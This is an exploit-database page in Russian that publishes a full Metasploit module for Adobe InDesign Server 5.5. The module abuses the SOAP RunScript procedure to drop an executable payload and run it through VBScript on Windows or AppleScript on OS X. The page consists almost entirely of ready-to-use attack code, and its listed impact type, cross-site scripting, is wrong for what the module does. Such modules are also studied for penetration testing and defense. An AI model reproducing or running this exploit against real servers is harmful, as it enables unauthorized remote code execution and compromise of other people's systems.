Adobe IndesignServer 5.5 SOAP Server Arbitrary Script Execution PoC

Свойства

Дата публикации:
05.12.2012
Цель:
Adobe IndesignServer 5.5
Тип воздействия:
Межсайтовый скриптинг

Код

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Adobe IndesignServer 5.5 SOAP Server Arbitrary Script Execution',
            'Description'    => %q{
                    This module abuses the "RunScript" procedure provided by the SOAP interface of
                Adobe InDesign Server, to execute abritary vbscript (Windows) or applescript(OSX).

                The exploit drops the payload on the server and must be removed manually.
            },
            'Author'         =>
                [
                    'h0ng10', # Vulnerability discovery / Metasploit module
                    'juan vazquez' # MacOSX target
                ],
            'License'        => MSF_LICENSE,
            'Platform'       => ['win', 'osx'],
            'Privileged'     => false,
            'DisclosureDate' => 'Nov 11 2012',
            'References'     =>
                [
                    [ 'OSVDB', '87548'],
                    [ 'URL', 'http://secunia.com/advisories/48572/'; ]
                ],
            'Targets'        =>
                [
                    [
                        'Indesign CS6 Server / Windows (64 bits)',
                        {
                            'Arch'     => ARCH_X86_64,
                            'Platform' => 'win'
                        }
                    ],
                    [
                        'Indesign CS6 Server / Mac OS X Snow Leopard 64 bits',
                        {
                            'Arch'     => ARCH_X86_64,
                            'Platform' => 'osx'
                        }
                    ]
                ],
            'DefaultTarget'  => 0
        ))

        register_options( [ Opt::RPORT(12345) ], self.class )
    end


    def send_soap_request(script_code, script_type)
        script_code.gsub!(/&/, '&amp;')
        soap_xml = %Q{
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/";
xmlns:xsd="http://www.w3.org/2001/XMLSchema"; xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance";
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"; xmlns:IDSP="http://ns.adobe.com/InDesign/soap/";>
    <SOAP-ENV:Body>
        <IDSP:RunScript>
            <IDSP:runScriptParameters>
                <IDSP:scriptText>#{script_code}</IDSP:scriptText>
                <IDSP:scriptLanguage>#{script_type}</IDSP:scriptLanguage>
            </IDSP:runScriptParameters>
        </IDSP:RunScript>
    </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
}

        res = send_request_cgi({
            'uri'          => '/',
            'method'       => 'POST',
            'content-type' => 'application/x-www-form-urlencoded',
            'data'         => soap_xml,
        }, 5)
    end


    def check()
        # Use a very simple javascript
        check_var = rand_text_numeric(10)
        checkscript =  'returnValue = "' + check_var + '"'

        res = send_soap_request(checkscript, "javascript")

        return Exploit::CheckCode::Vulnerable if res.body.include?('<data xsi:type="xsd:string">' + check_var + '</data>')

        return Exploit::CheckCode::Safe
    end

    def exploit

        if target.name =~ /Windows/
            print_status("Creating payload vbs script")
            encoded_payload = generate_payload_exe().unpack("H*").join
            exe_file = Rex::Text.rand_text_alpha_upper(8) + ".exe"
            wsf = Rex::Text.rand_text_alpha(8)
            payload_var = Rex::Text.rand_text_alpha(8)
            exe_name_var = Rex::Text.rand_text_alpha(8)
            file_var = Rex::Text.rand_text_alpha(8)
            byte_var = Rex::Text.rand_text_alpha(8)
            shell_var = Rex::Text.rand_text_alpha(8)

            # This one creates a smaller vbs payload (without deletion)
            vbs = %Q{
Set #{wsf} = CreateObject("Scripting.FileSystemObject")
#{payload_var}  = "#{encoded_payload}"
#{exe_name_var} =  #{wsf}.GetSpecialFolder(2) + "\\#{exe_file}"
Set #{file_var} = #{wsf}.opentextfile(#{exe_name_var}, 2, TRUE)
For x = 1 To Len(#{payload_var})-3 Step 2
    #{byte_var} = Chr(38) & "H" & Mid(#{payload_var}, x, 2)
    #{file_var}.write Chr(#{byte_var})
Next

#{file_var}.write Chr(#{byte_var})
#{file_var}.close

Set #{shell_var} = CreateObject("Wscript.Shell")
#{shell_var}.Run Chr(34) & #{exe_name_var} & Chr(34), 0, False
Set #{shell_var} = Nothing
returnValue = #{exe_name_var}
            }
            #    vbs = Msf::Util::EXE.to_exe_vbs(exe)
            print_status("Sending SOAP request")

            res = send_soap_request(vbs, "visual basic")
            if res != nil and res.body != nil then
                file_to_delete = res.body.to_s.scan(/<data xsi:type="xsd:string">(.*)<\/data><\/scriptResult>/).flatten[0]
                print_warning "Payload deployed to #{file_to_delete.to_s}, please remove manually"
            end

        elsif target.name =~ /Mac OS X/

            print_status("Creating payload apple script")

            exe_payload = generate_payload_exe
            b64_exe_payload = Rex::Text.encode_base64(exe_payload)
            b64_payload_name = rand_text_alpha(rand(5) + 5)
            payload_name = rand_text_alpha(rand(5) + 5)

            apple_script = %Q{
set fp to open for access POSIX file "/tmp/#{b64_payload_name}.txt" with write permission
write "begin-base64 644 #{payload_name}\n#{b64_exe_payload}\n====\n" to fp
close access fp
do shell script "uudecode -o /tmp/#{payload_name} /tmp/#{b64_payload_name}.txt"
do shell script "rm /tmp/#{b64_payload_name}.txt"
do shell script "chmod +x /tmp/#{payload_name}"
do shell script "/tmp/#{payload_name}"
set returnValue to "/tmp/#{payload_name}"
            }

            print_status("Sending SOAP request")

            res = send_soap_request(apple_script, "applescript")

            if res != nil and res.body != nil then
                file_to_delete = res.body.to_s.scan(/<data xsi:type="xsd:string">(.*)<\/data><\/scriptResult>/).flatten[0]
                file_to_delete = "/tmp/#{payload_name}" if file_to_delete.nil? or file_to_delete.empty?
                print_warning "Payload deployed to #{file_to_delete.to_s}, please remove manually"
            elsif not res
                print_status "No response, it's expected"
                print_warning "Payload deployed to /tmp/#{payload_name}, please remove manually"
            end

        end

    end

end

или введите имя

CAPTCHA